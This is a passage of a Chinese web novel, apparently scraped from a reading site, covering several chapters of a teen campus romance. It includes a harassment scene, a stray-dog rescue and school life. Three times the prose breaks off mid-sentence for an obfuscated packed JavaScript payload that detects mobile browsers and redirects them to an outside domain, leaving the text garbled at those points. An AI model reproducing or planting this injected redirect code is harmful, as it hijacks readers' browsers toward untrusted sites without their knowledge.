夏天天亮得早,这个时间太阳已经从地平线升起,天空晕染着浅红的霞光,贴满小广告的电线杆上栖着三两只麻雀,唧唧啾啾地叫着。 她走出那一片巷子,到街边的一家卖早点的铺子,前面好些顾客,她把零钱握在掌心,排在队伍后边。 身后又走来几人,一股强烈的,机油混杂着烟味的难闻味道将她包裹,林杳回头看了看,几个中年男人,都穿着深蓝色的工作服,袖口被磨损得厉害,身上好几块黑乎乎的污渍,应该是沾着的机油。 她又转回脑袋,没说什么。 那几个男人看见林杳,相互对视一眼,露出个心领神会的表情,也不好好排队,将她围了一圈。 林杳胳膊不知被谁撞了下,想要出去,对方几个人高马大,跟个人墙似的堵住了她。 她脸皮薄,又是第一次碰到这种情况,不太擅于处理。 “不好意思,麻烦让一下。”她抿了抿唇,对其中一人道。 那人装没听清,笑眯眯地低头往她跟前凑,露出一口被烟熏黄的牙:“小妹妹你说什么,我没听见啊?” 林杳正欲提高声音,男人肩膀被拍了下,他回头,对上少年沉戾的眉眼。 闻野咬肌绷紧,狭长黑眸眯着:“让你滚,这次听清没?” 男人和他周围几个脸色都变得不好看,然而都是这一片住了小半辈子的,闻野的诨名谁没听过。 啧啧,那脾气,那拳头,连亲生的老子都曾被他揍个半死呢。 几人讪讪地走了。 闻野垂头,又看向林杳,晨旭薄亮的光中她小脸雪白无瑕,扎着中规中矩的马尾,背着红色小牛皮的书包。 身上一条浅蓝色,白色领口,胸口绣着个卡通小熊的百褶裙,及膝的裙摆下是一截纤细白嫩的小腿,视线在往下,是双干净的白袜子,和一尘不染的黑色小皮鞋。 就该是那种坐着私家车,去那种有钱人上的私立高中上学的打扮。而不是像现在这样,身处在这个破烂地方,周围一群想方设法吃豆腐的瘪三。 他盯着她那双乌黑,透着点茫然的眼眸,唇角扯起抹嘲讽的笑:“被占了便宜还说不好意思,你家教可真够好的。” 说完没等她反应,大马金刀地走进店里,找了个空位坐下。 彭一凡和路宇安也摸不准是什么情况,对老板说了句“老样子”之后也进去坐着等了。 刚那情形两人看得一清二楚,摆明了就是徐大力那几个不要脸地想趁机揩油,只是瞧着闻野和那女生说话的态度,倒像是认识的。 可他们野哥那性格,别说生人勿近了,异性更是一个都没能往他跟前凑的。 “野哥。”彭一凡最先憋不住满腔疑惑:“刚那漂亮妹子,你认识啊?” 闻野抱着双臂,身体后仰靠着墙,椅子的高度对他那双长腿来说不太够,不得已往前抻着。 “赵美莺的女儿。”他眉目里还染着几分冷然,淡淡道。 这一片几乎都是住了几十年的街坊邻居,藏不住秘密,彭一凡和路宇安都从各自妈那儿知道了赵美莺把以前送走的女儿又接了回来。 还是一副炫耀的语气,说什么养这么大没花一分钱,人家现在还倒给她五万块。 却都没想到她女儿长得这么漂亮,那一身温婉安静的小淑女气质,没一点继承赵美莺的刻薄彪悍。 彭一凡和路宇安又分别震惊了会儿,转头朝还排着队的林杳看去。 少女小脸巴掌大,明眸皓齿,眼下卧蚕明显,不笑时都显得甜又乖,对于青春期荷尔蒙旺盛的男生来说,百分百就是梦中初恋的模样。 彭一凡压低着声兴奋问:“虽然没有血缘关系,但住一块儿呢,也算野哥你半个表妹了,野哥你能帮我找她要个□□号吗?” 闻野面无表情地偏头,用一种“你觉得可能吗你是傻逼吗“的眼神看着他。 路宇安嘲笑道:“你脑子有坑啊,野哥和赵美莺是什么关系,会待见她女儿,还找她要什么□□,你别几把瞎想了。” 彭一凡想了想也是这么个理,又觉得奇怪,既然不待见,那刚才不还主动上去给人解围呢,生怕她被这儿一群瘪三无赖占了便宜。 难道就是单纯被正义感驱使的? - 林杳还有些惊讶今天竟能这么早碰到闻野,之前两天在家,都是看他睡到十一二点才不紧不慢地从楼上下来。 而且刚才他那话,虽然说得不客气,可行为是实打实帮了她的。 “诶小姑娘,你要买啥啊?” 林杳思绪被拽回,将一直捏在掌心的五块钱纸币递过去:“一屉小笼包,谢谢。” 她端着去找了个空位坐下,和闻野他们那桌隔着些距离。 几个小笼包很快吃完,她背上书包,凭着昨天走过一遍的记忆,来到三中。 三中学校门口没有值勤的老师和学生,她没穿校服,进校门时还有点踟蹰,从前她念的高中很严,必须一整套校服穿好,胸前别着铭牌才能进学校。 这儿门卫室的叔叔坐里边的板凳,一直低头翻着报纸,看都没往外看一眼,自然也没有人拦她。 上到教学楼,林杳看见几个倚在走廊栏杆,大声说笑打闹的女生。 她们的刘海用卷发筒固定着,上身穿着校服短袖,搭配的却不是校裤,而是只到腿根的牛仔短裤,白色校服的背面还用五颜六色的彩色荧光笔画着卡通和名字缩写的字母。 林杳无意看去一眼时,那几个女生也停止了嬉笑,朝她看了过来,那目光透着几分不太友善的打量。 很快又转回头,继续嘻嘻哈哈地说笑,余光却仍黏在她走远的身影上。 林杳找到高二年级组的办公室,据校长说,给她分的是全年级最好的一班。 一班的班主任王明伟四十来岁,身材微胖,头发有些稀疏,长相和善。他拎起由黄桃罐头改装的水杯,又往咯吱窝下面夹了本数学必修三的教材,对林杳笑眯眯道:“走,我现在带你去一班。” 上楼梯时,他和她聊道:“听说你以前是外国语的,那可是有名的私立啊。我们三中呢虽然看着破点小点,但你也别灰心,咱们学校也是出过省状元的。” 林杳有些意外,脚步一顿,接着就听身旁班主任信誓旦旦,还颇有自豪的语气道:“你别不信,就是91年那届,你去翻二十多年前的报纸肯定还能找到报道呢。” “……” “所以啊,是金子到哪儿都会发光的,你到了我们这儿,肯定是所有老师重点培养的对象!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830193|158933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 王明伟铿锵有力地洒完鸡汤,到了一班门口,还没推门进去都能感受到里面的闹腾。 王明伟先进去把纪律管住,又招了招手让她进去。 林杳站上讲台,才安静了半分钟不到的教室又炸开了锅。 “靠,转来个美女啊!” 男生大多面露兴奋,还有个吹口哨的,女生中有两个是刚才走廊站着的,手抱臂,身子往椅背仰了仰,不太欢迎的姿势,脸上的表情傲慢,又隐隐有几分敌意。 “安静!”王明伟拿书拍了拍讲台,他视线往教室扫了几圈:“侯耀哲你把桌椅搬讲台边来,林杳你坐他位置去。” 谁都知道讲台边是特殊座位,一下子班上都笑起来,侯耀哲也发出抗议:“不要嘛老王。” 班上笑声更大,王明伟瞪眼:“你还敢不要,所有任课的老师都跟我投诉你一上课讲不停,把前后左右逗得咯吱笑,你这么能耐怎么不去说相声呢!升旗仪式快开始了,动作快着点!” 没多久广播里传来激昂的音乐,大家都到教室外排队,林杳自觉站在最后一个,跟着一起到操场去集合。 校长在严肃地发言,底下学生中不断有窸窣的讲话声,教导主任维持了几次秩序。 乌泱泱的学生里,好多和林杳一样没穿校服,她无疑是最惹眼的,好多道视线四面八方地投到她身上。 “听说是新转到一班去的,之前还是外国语学校的。” “哇,那可是咱们市有名的私立高中啊,能去那儿读书的家里都非富即贵。你看她身上这条裙子,那什么小熊牌的,几千块一条呢。” “喔嚯,那她转我们这破学校干嘛,大小姐体验贫民生活啊?” 有些话也落进林杳耳里,她长睫垂着,只做不知,她没领到学校的校服,只能穿自己的衣服。 一上午四节课,进度都比林杳之前的学校慢,课堂氛围也是完全不一样的,中午十二点,铃声打响,学生们一窝蜂地从各班跑了出去。 林杳向同桌打听才知道,三中面积太小,勉强弄出个小小的教师食堂,学生中午都得到外边去吃。 十二点没过几分钟,学校旁的那条小吃街已经人满为患,小炒店里,闻野和彭一凡路宇安两个一桌,菜还没上,都各自先玩着手机。 邻桌坐的也是三中的学生,屁大点的小店,桌子都隔得近,说什么听得一清二楚。 “你看对面,穿浅蓝裙子的那个就是新转来的女生吧,听说长得特好看,这背影就很正,你看那腰那腿。” “切。”那桌另一个女生嫉妒又不屑道:“第一天上学就穿个几千块的裙子,像是生怕谁不知道她有钱似的,装得要死。” 闻野按着手机的指节停了一秒,屏幕里那条长得绕几圈的贪吃蛇啪叽撞到边缘死了,他眼皮撩起,朝门外看去一眼。 街对面卖凉面的小摊子前挤了一众学生,有几个算是三中的“好学生”,听话穿着肥大的校服。 还有些则叛逆得多,烫发耳环化妆一个不落,穿着紧身T恤和热辣短裤。 林杳那条浅蓝色裙子既不短也不露,规矩得不能再规矩,但偏偏就是在这群人中,这份规矩显得打眼,格格不入。 那双骨肉匀亭,白皙细长的小腿快成靶子了,四面八方的目光射过来,少女或许也有些不自在,手扯了扯裙摆。 “好了,你们慢用哈。”老板把小炒黄牛肉,干锅包菜和酸辣土豆丝端上来,彭一凡和路宇安早饿得受不了,连忙放下手机,掰开筷子干饭。 闻野收回视线:“你妹……” 就彭一凡有个表妹,也是在三中,现在念高一。 彭一凡抬起头,疑惑的目光看向闻野,塞满饭的嘴含糊不清地问:“我妹咋啦?” “你妹不穿校服是吧?” “是啊,”彭一凡点头,咽下嘴里的饭道:“她嫌咱们学校的校服丑了吧唧的,还说要是像韩剧里那样的衬衣短裙,她就天天穿了。” 说完还是很不明所以,好好的野哥怎么关心起他妹来了? 闻野:“帮我问下你妹,她那不穿的校服卖不卖。” 5. 第五章 下午第一节课是英语,听到铃声打响,林杳先去洗了把脸,精神好多了,她拿出书和笔记本摆桌上准备好。 英语老师走进来时班上一半的同学还趴着没醒。 英语老师打开小蜜蜂,别再腰上,她先拿书往讲台上拍了拍,随即放大的声音响彻整个教室:“上课了,都醒醒!” 陆续有同学坐起来,教室里此起彼伏地哈欠声,英语老师翻开书:“上周让大家预习第二单元的reading,有没有人能起来读一下?” 还打着哈欠的同学立刻闭上嘴,沉默蔓延了半分钟,偌大的教室无一人举手,一个个脑袋跟鹌鹑似的缩着,生怕和老师对视上。 英语老师很不满意:“是不是预习的作业你们都不当一回事?要是没一个人读的话,这篇reading每人罚抄三遍。” “别啊老师。” “薛佳莹肯定会读。” “对对,让我们课代表起来读。”开始有男生起哄。 “哎呀,怎么每次都让我读。”薛佳莹做出不情愿的扭捏姿态,向前面转头对她起哄的男生嗔怪道。 “谁让你是咱们班英语成绩最好的呢。”她前桌的男生转回头,手掌合十,语气央求:“课代表求您大发慈悲,救救我们吧。” “行吧。”薛佳莹这才像是勉强地答应,她举起手,腕上戴着的几根细银镯相撞发出铃铃声响:“葛老师,我来读。” 英语老师便点了她起来。 林杳想趁机认一下英语课代表,回过头,看见倒数第三排站起个女生。空气刘海,就是早晨她在走廊遇到的那群女生中的一个。 “WangPengsatinhisemptyrestaurantfeelingveryfrustrated……”【注】 薛佳莹照着课本读,她其他科目都不怎么样,英语因为初中一直补习,有些底子,每次能考个110分左右。 整篇文章她都读下来了,尽管有些单词发音不标准,还有些长句子读得磕绊,但在班上算是矮子里拔高个,很厉害了。 薛佳莹一读完,她身旁小姐妹立刻给她很给面子地鼓了鼓掌,整个班都被带动着一起鼓起来。 薛佳莹翘了翘唇,压住脸上得意和骄傲的表情坐下去。 “课代表读得不错,但不能每次读课文都让她来,又不是考试只让她一个人上就够了。”英语老师说着,路过林杳的座位,看见她这一页写满的笔记,脚步一停。 “你就是从外国语转来的吧。”英语老师拿起她的书翻了翻:“这篇阅读你们已经学完了啊,你们学校进度挺快的,你这笔记做得真的细致。” 英语老师表扬完,书翻到封面看到她的名字:“林杳你也起来读一下这篇吧。” 林杳听话地站起身,这一篇在她从前的班级是要求背诵甚至默写重点句子,读自然更没问题。 她才读出第一句,就有同学情不自禁地小哇了声,大家英语成绩是都不好,但这么多年听力听下来,林杳一开口,就跟磁带在耳边放似的,语音语调都非常标准。 林杳读完了坐下,英语老师笑容满面,又把她好生夸赞一番:“果然是外国语学校出来,口语就是厉害。” 教室后,薛佳莹脸色变得有点难看,同桌她的小姐妹宋雨婷切了声:“真会装逼。” 三中晚自习上到八点半结束,林杳走回家,钥匙开了门进去。 客厅里的电视开着,里面教练激情澎湃的解说声,闻天明坐沙发上边喝着啤酒边看足球赛,十分专注,压根没注意她回来了。 闻磊坐餐桌边玩方便面赠送的卡牌,赵美莺在阳台晾晒衣服。 见她回来,赵美莺招呼她过去,把手里的衣架塞给她:“还剩几件,你帮我晾了,我带小磊洗澡去。” 没有多问一句她在新学校怎么样,适不适应之类的话。 等她晾完走到厨房,才发现里面空空的,并没有给她留的晚饭。 林杳其实也清楚赵美莺对她没有感情,要不然当初也不会随便把她送人,只是明白是一回事,难受的情绪也不可避免。 她拎着书包回房,把之前剩着的两个达利园吃了。 学校布置的作业她一小时不到就都写完了,又把自己的卷子做了一套,然后去洗澡。 收拾明天要穿的衣服时,林杳犯了难。 今天不管她出教室干什么,总有别的同学看她和她身上的裙子,上厕所时还听到一些不太友好的议论。 才转到新学校,她不想搞得那么突出。然而衣柜里挂着的其他裙子和衣服,也都是差不多价款式和价格的牌子。 “咚、咚——” 林杳听见两声简洁有力的敲门声,过去拉开门,看清是谁一愣,还有点紧张,闻野没事找她干什么? 十点多,闻野在店里给个男的手臂扎他女朋友的名字,纹名字是最简单的活儿,十一点他就收工拉下卷闸门,拎着彭一凡送来的校服回家。 路过她房间,有灯光从门缝里漏出。 跟个傻逼似的在门口站了好半天,他才抬手敲了两下门,此刻就看见小姑娘杏子眼惶然又提防地看着他,更觉得自己是闲得蛋疼。 林杳见他脸色有些冷,心里更加惴惴,正不知是自己哪儿惹到他时,少年一只骨节清晰遒劲的手伸了过来。 修长指尖勾着个塑料袋。 袋子白色半透明的,能看出装着的两套校服,夏季的短款和冬季的长袖外套都有。 林杳一头雾水,长长的眼睫抬起望向他。 方才眼里的提防惶然倒是没了,变成了疑惑,本就饱满的杏眼更睁得圆溜溜的,跟两颗水灵的黑葡萄似的。 闻野对上那两颗黑葡萄,莫名有点不自在,视线往下落,见到的又是她睡裙外一截纤长雪白的脖颈。 还是刚洗完澡的,奶白的肌肤晕出层浅粉,又有没擦干的水珠。 那种不自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830194|158933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在的感觉更强烈,闻野只得又撩起眼皮,拎着那袋子的手往提高几分。 “要不要?” 林杳知道他问的是校服,可不明白,好好的,他怎么给他搞来几套校服。 她眨了眨眼:“你给我校服干嘛?” “这套校服我朋友妹妹的,她又不穿,放着也是放着,你转到三中不也是要买新校服么,学校收费一百一套……” 顿了顿,闻野咳了声道:“这几套二十卖你,行不?” 林杳怎么也没猜到他大晚上找她,是和她“做生意”的。 倒是正巧解决了她一个小麻烦,还确实便宜很多。 “等一下,我拿钱给你。”林杳转身,趿着拖鞋哒哒跑进房,从抽屉拿出钱包,翻出一张二十的纸币递给他。 闻野接了过来。 两人也没什么话好说了,闻野抬脚就走,林杳也门关上了。 从袋子里拿出那套校服,是干净的,明天能直接穿,她把衣服搭在椅子上,上床睡觉。 闭眼没多久,小腹传来不舒服的感觉,是熟悉的坠痛感,林杳趿上拖鞋,去厕所一看,内裤上果然有一抹浅红的印记。 例假提前了几天,她从书包找到还剩的一张护垫,可一晚上肯定不够,只能去找赵美莺要了。 她走到二楼最右边的那间房,还有动静传出来,应该是还没睡。 林杳走近,抬手刚要敲门,听到里面的动静有些奇怪,像什么在摇,咯吱咯吱的,渐渐动静更大,还伴随着女人一声喘着的抱怨:“死鬼你带套啊,别搞得我又要去医院。” “那玩意儿用着不舒服。” “那你不用就别进来。” 林杳好一会儿才反应过来,迅速缩回要敲门的手,赶紧轻手轻脚地离开,一直进了自己房间,她脸还是红得要命。 她看了手机上的时间,快十二点了,她还从没这么晚出过门,而且还是在这片人生地不熟的地方,可卫生巾也得买。 踟蹰地在原地站了会儿,她下定决心,换了身上的睡裙,抓着手机走出去。 她没开灯,打着手机的电筒走下楼,走到门口玄关处换鞋,背后传来下楼梯的脚步声。 林杳回头,那道颀长的人影走了过来,也到了玄关边,就站在她身旁。 搁鞋柜上的手机照出一束冷白的光,少年棱角冷硬的轮廓清晰起来。 他头歪了歪,黢黑的眸子对上有些好奇看过来的她,先发制人地反问:“怎么?只许你大晚上的一个人跑出去?” 似乎着重强调了“大晚上”“一个人”,语气听着还不怎么高兴。 林杳赶紧摇头,小声说了句没有,转回头,默默换上帆布鞋,又把换下的那双拖鞋整齐地摆进鞋柜。 她刚出去,就听到身后的关门声,闻野也出来了,不紧不慢地走在她后面。 “饿了,走,出来吃宵夜。” 似乎是给谁打电话,他说了这么一句。 6. 第六章 深夜时分,各家关门闭户,窗户黑洞洞的,这条狭窄逼仄的小巷更多出几分恐怖的感觉。 幸好此刻身后还有个出来吃宵夜的人,少年不紧不慢的脚步声让林杳至少没那么害怕。 终于走出最里的小窄巷,前面隔段距离就有个路灯了,总算亮堂了许多,林杳松了口气,突然听见不知哪个角落传来的汪呜汪呜声。 她停下脚步,又凝神细听了会儿,确定是只小狗在叫,声音断断续续的,虚弱又痛苦,可能是被车撞到或者怎么受伤了。 林杳想着,循着那声音加快脚步往前,很快就在绿色的大垃圾桶旁边看到只毛发脏兮兮,发着抖蜷缩成一团的小狗。 被垃圾桶挡着的地方,还蹲着个人。 是不远处那家小超市的老板娘的儿子,也是前两天,她亲眼看着被闻野揍过的那男生。 此时他手里捏着半截燃着的烟,脸上还挂着被揍的伤痕,笑容开怀,眼神闪烁着残忍和兴奋的光芒。 再去看地上那只蜷缩的小狗,她发现它身上好几处毛被烫焦了,还往外渗出血。 林杳第一次亲眼见到有人虐狗,后背蹿起一股凉意,心突突直跳,蹲下身想要把受伤的小狗抱走。 不料手腕却被那男生紧紧地抓住,他眼睛直愣愣地盯着她,很不高兴,仿佛她是坏人,要抢他的所有物一般。 “是我找到的,你不能抢。” 他说话慢,磕绊,握着她手力更用劲了几分,林杳腕上皮肤被他掌心粘腻湿漉的汗贴着,她心里生起恶心又恐惧的感觉。 就在此刻,一直懒懒散散走在她后面的少年一个箭步冲了过来。 皎洁的月光照这一小片肮脏混乱的地方,闻野拎起扔垃圾桶边,一个快散架了的小木椅,对着那男生的后背就是一砸。 一声闷响过后,椅子彻底散架,四分五裂地落地上。 男生疼得嗷嗷叫,双手抱着头,又是和上次一样可怜巴巴的模样,向闻野认错求饶。 闻野一脚直接踹他身上,比上次看起来更凶戾,黑眸阴沉沉的,冒着火一般,“我是不是说了,别再干这种事。” 他因绷紧而青筋迸发的手拾起地上一只散了的椅子腿,抬起,就要朝着那男生后脖颈砸去。 落下的前一秒,衣角被小小的一点力道拽住,区别于身旁垃圾桶里散发出的难闻气味,闻野鼻尖掠过一阵清浅的,沐浴露留下的花香味。 闻野往下的动作一停,回过头,月光安静地笼在少女身上,她脸颊洁白,像夜色中绽开的昙花,温柔又圣洁,不染一丝尘埃和瑕疵。 和他戾色未褪尽的黑眸对视上,她捏着他衣摆的两截指尖本能地往回缩了缩,却没松开。 “你、你别打他了。” “脖子上有很多血管和神经,万一打坏了,后果很严重的,就算是他不对,可到时候你也要负责任。” 林杳知道自己上次是误会了,闻野并非无故打人,相反,应该是他看见这男生在欺负虐待小动物,才有的那番举动。 她乌眸仰看着他,声线天生柔软,又是很温和,好好给他讲道理的语气,很能让人冷静下来,听到心里去。 闻野扔了手里那根椅子腿。 林杳松了口气,再次弯身要将地上那只小狗抱起,一只青筋微凸的手臂先伸了过去,把小狗抱进怀里。 闻野侧头瞥她一眼,语气冷硬:“流浪狗,都不知道有没有病,不怕被抓被咬了?” 林杳自然有这个顾虑,可是看小狗伤得这么可怜,她就一时管不了这么多。 “那你不也抱了啊?”她看着他怀里的小狗,不解地脱口而出。 闻野视线掠过她嫩得跟什么似的胳膊,唇扯了扯:“你和我能一样。” 林杳没听懂他们有什么不一样的,他撂下这句话已经抱着小狗走了,她连忙追过去:“你是要送去宠物医院吗?” “嗯。” 林杳想了想,也跟上他,她坐上他路边拦着的一辆出租车,小狗可能是感觉到自己被救了,自始至终没乱动,就乖乖趴在闻野怀里。 她一直歪着脑袋看这个小家伙,突然发现闻野手臂上红了一片,还起了几个红疹子,先前好像还没有的。 “你是不是对狗毛过敏呀?” 闻野不以为意道:“有一点吧。” 症状不算严重,就是皮肤瘙痒,在他能忍受的范围。 林杳听语气竟然还是知道的,赶紧朝他伸手:“那你赶紧把小狗给我抱着吧。” 闻野看向她,车厢光线昏暗,可依然能清楚看到她脸上着急担心的表情,为着他。 抱了这一路,知道这只小流浪狗不是性情暴躁的,他把它放进她怀里,还不忘说一句:“小心着点。” 林杳点头,眸子弯了弯露出笑意:“它看着就很乖,不会咬人的。司机叔叔,能把车里的空调关了吗?” 司机也乐得省油,关了空调。 林杳摇开自己这边的窗户,扭过头又对闻野建议道:“你把你那边的窗户也打开吧,让空气流通起来,你应该会感觉好点。” 闻野看了她几秒,照做了。 车厢里的冷气散去,夏末还剩着点儿燥热的晚风吹进来,裹挟着少女身上那股花香来来回回的,反复在他鼻尖萦绕。 终于找到一家这么晚还开着的宠物医院,林杳抱着小狗跑进去,值班医生立刻给它全身检查,除了烫伤外它还有轻微中暑的症状。 闻野去交钱,医生先给小狗上药抱扎输点滴。 见小狗情绪稳定下来,不像刚被打针时那么害怕了,林杳又摸了摸它脑袋,捏着手机走出去。 闻野从裤兜摸出烟,也走到外边,她在打电话,他点燃了烟,白色烟雾一丝丝地缭着他骨节修长的指尖升起。 隔着并不远的一段距离,夜晚的街边又那么安静,她对着电话说了什么,几乎一字不差的落他耳朵里。 “喂是110吗,我要报案,我看到有人虐狗。不是我的狗,是一只流浪狗。” “流浪狗就能立案吗,为什么啊?” 又过了会儿,听见她说:“我知道了,打扰您了。” 还是那样礼貌得要命的态度,只是挂断电话时肩膀很明显往下一塌,很是沮丧失望。 抬眼看到了他,她朝他走来。 闻野把指尖那根点燃后就吸了一口的烟捻在一旁的垃圾桶上,扔了进去。 林杳走到他跟前,手伸进斜背着的小帆布包里拿出个小钱包,数出一百五十块钱。 “今晚谢谢你了,医药费给你。”她真诚道,双手捏着钱递给他。 闻野懒洋洋地抄起胳膊,没一点要接的意思,眼皮耷拉着,对视上她清凌凌的眼眸:“怎么,就许你有爱心啊?” 林杳当然不是这个意思,还没来得及解释,就听他像是不经意地问了句:“大晚上的,你是有先见之明特地出来一趟。” 被这么一提醒,林杳倏地想起自己今晚出来这一趟的目的。 闻野只见她脸一红,慌里慌张地四处张望,又急匆匆地跑进对面街的一家便利店,他站原地看着,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830195|158933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一会她就又跑了回来。 斜背着的那个小帆布包也不知装了什么,一下子变得鼓囊了起来。 林杳跑进宠物医院的洗手间,赶紧去垫上片卫生巾,第一天量只有一点,她撩起裙摆仔细看了看,没弄上去。 她庆幸地去洗了手,她走到值班的前台那儿:“姐姐,请问这里可以寄养流浪狗等人来收养吗?” 对方停下敲着键盘的手:“可以的,不过只能放一个月,要是一个月没有顾客收养,我们就要把它送去流浪站了。” 林杳把身上带的钱买了几袋狗粮放这儿,又去摸了好几下小狗脑袋,才离开。只是还有些担心和舍不得,走出门没几步,忍不住总回头看。 不知第几次回头时,耳边落下一道低哑的,似是十分漫不经心的声音:“这么舍不得,就抱回去养着呗。” 林杳怔了怔,定定站住,偏头看向身旁人,闻野也停下脚步,那截冷白的脖颈朝她低着。 两人身边有盏路灯,暖橙色的。 少年颀长挺阔的身形被勾勒得清晰,白t被肩膀微凸的骨骼撑起,棱角分明的五官被这光线晕染着,多了几分柔和,没平时那样冷漠得不近一丝人情。 她仰着脖子看向他,表情惊喜,眼睛亮得晃眼:“你不是对狗毛过敏吗?” 闻野轻咳一声,语气故意硬了几分:“不接触就没事,反正养着狗看门也挺好。” 说完抬脚要走,准备着和她一起去把那只小狗接回去,走了几步,身后的人还寸步未动。 他奇怪地回头,看见她低头看着自己脚尖,脸上表情纠结,最后小声道:“算了吧。” 闻野挑眉,以为自己听错了。 “还是先让宠物医院的小姐姐帮忙联系看看有没人能收养吧,我一天大部分时间都在学校,时间上照顾不来,而且养小狗也挺麻烦的,一天要遛好几次。” 一条条说着说服自己的理由,林杳抬起脸,像是释怀,眼底的那些光亮却都黯了下去。 闻野看了几秒,也没多说什么:“行,那回去吧。” 坐车回去的路上两人没说话,闻野坐在副驾驶,林杳坐后边,安静地偏头看着窗外。 她没资格把小狗带回家,那地方,算不上是她的家。而赵美莺的性格,也只会嫌小狗脏,麻烦。 前天去学校报道,回来时赵美莺看见有只小猫趴在她电动车的底座下躲太阳,恨不得上脚把它踹走。 如果只养几天又被送走抛弃,那还不如一开始就不要养,那样对小狗,对她来说,都更好。 那条逼仄的小巷依然黑漆漆的,这次是闻野走在前边,他拿手机照着光,林杳隔着两三步的距离走在他身后。 夜似乎更静了,不知那个角落小虫子的窸窣声都清晰可闻,到了门口,也是闻野先摸出钥匙,杵进锁眼,转两圈后门开了。 他没往里迈腿,转头看了眼身后,长睫低垂着的小姑娘。 “它性格那么乖,会被好心人领养的。” 他凭空说出一句,清冷惯了的嗓音多出几分难得一见的温柔。 林杳被稍稍安慰到,嘴角浅浅往上翘了下,露出的笑带了真心实意。 她突然感觉他并不像初见时,以为的那样难以相处,又想起刚才出门时他不知给谁打的,说是要吃宵夜的电话。 “你不是要和朋友出去吃宵夜吗,不过去吗?” 闻野压根早忘了自己随口扯的一句,这儿被提醒了,他“噢”了声拔下钥匙,也一点不心虚。 “朋友有事,不去了。” 7. 第七章 第二天早上,林杳就穿着花二十块,从闻野手里买来的那套校服,刚巧还挺合身。 她背起书包,走出房间,旁边也传来开门的动静,一道高挑瘦削的身影走出来。 闻野穿着条款式极简单的黑t和牛仔裤,左肩膀上挂着个一看就没装几本书的书包,狭窄深刻的眼皮懒倦地耷拉着。 很明显没睡醒,因此那张轮廓冷硬的脸上表情木然,比平时看上去更有锐利的凶感。 然而经过昨晚,两人之间一开始那种冰冻三尺一样的关系似乎无形之中破开一个小口子,林杳对他的认知也有几分改观。 她就不觉得特别畏惧了,还礼貌地主动打了声招呼:“早上好。” 因为这个时间还挺早的,赵美莺他们都在睡觉,她嗓音也刻意压得小,像羽毛般轻飘飘落进闻野耳朵里,莫名发痒。 他喉结滚了滚,抬手拽了拽耳根,沙哑着回了句早。 两人一块儿出的门,一前一后地走在巷子里,谁也没再讲话,林杳走进昨天那家早餐小店,排在队后,闻野在她身后站着。 她从书包拿出袖珍的单词本默默背着,他从裤兜摸出手机玩着,互不打扰。 “我们电焊组新招进来的小组长,说是什么有文化的大学生,我看就是个毛都没长齐的傻逼玩意儿,老子当年十七岁进厂,他还没被射出来呢,现在他妈的就敢对着老子指手画脚的!” 徐大力边骂着边和几个同样蓝色工服的男人往小店里走,又看到昨天那少女时眼睛一亮,就要大步朝她迈去,下一秒注意到站她身后,侧脸峻冷的少年。 徐大力立马就老实了,排队时也规矩得不行,离闻野老远站着,更是一步都不敢朝林杳靠近。 轮到林杳,她和昨天一样,买了一屉小笼包,端着找了个空桌子坐下,没一会儿对面的椅子被一只脚勾着拖开。 桌上多了一碗加了卤蛋的三鲜粉,还有根油条,闻野在她对面坐下,和她纸碗里六个小笼包相比,他的早餐看上去丰富太多。 闻野朝她那碗里看了眼,眉嫌弃地轻轻皱了皱:“就这么点,吃得饱么?” “够的啊。”林杳点头。 闻野没说什么了,他不太了解女孩子的食量,只是看着她那截细得不能再细的手腕,总觉得太瘦了,刮个风都能吹倒。 林杳先吃完几个小笼包,两人的关系也没熟到她需要等他一起去学校的程度,她背起书包:“那我先走了。” 闻野:“嗯。” 等她身影离开,闻野拿起搁桌上的手机,给三人的q.q群里发消息:【我到街边那家早餐店了】 一刻多钟后,彭一凡和路宇安两个先后打着哈欠过来。 “野哥你咋起这么早啊?”彭一凡一脸困意,费解地问:“又不是周一,阎王今天又不去各个班揪迟到的。” “醒得早就起了。”闻野随意道,骨节分明的手指按着手机,点开张照片后将屏幕举到他们眼前。 “你们有没有认识的人想要养狗?” 顿了顿补充:“要那种有爱心负责任的。” 两人看着照片里那只黑白的小狗都一脸懵逼,就又听他语调闲散地抛出诱人的条件:“谁先帮我找到领养人,我那个游戏机直接拿走。” - 早自习开始前的十多分钟,林杳踏进教室,学习的气氛并不强烈,大多数人都在吃喝讲话。 因为身上穿着和大多数同学一样的校服,她感觉没昨天那样格格不入了,心里也自在了一点。 她走到座位坐下,从书包往外拿要交的作业,朝左偏了偏头,看向一直盯着她看的同桌,有些奇怪地问:“怎么了吗?” 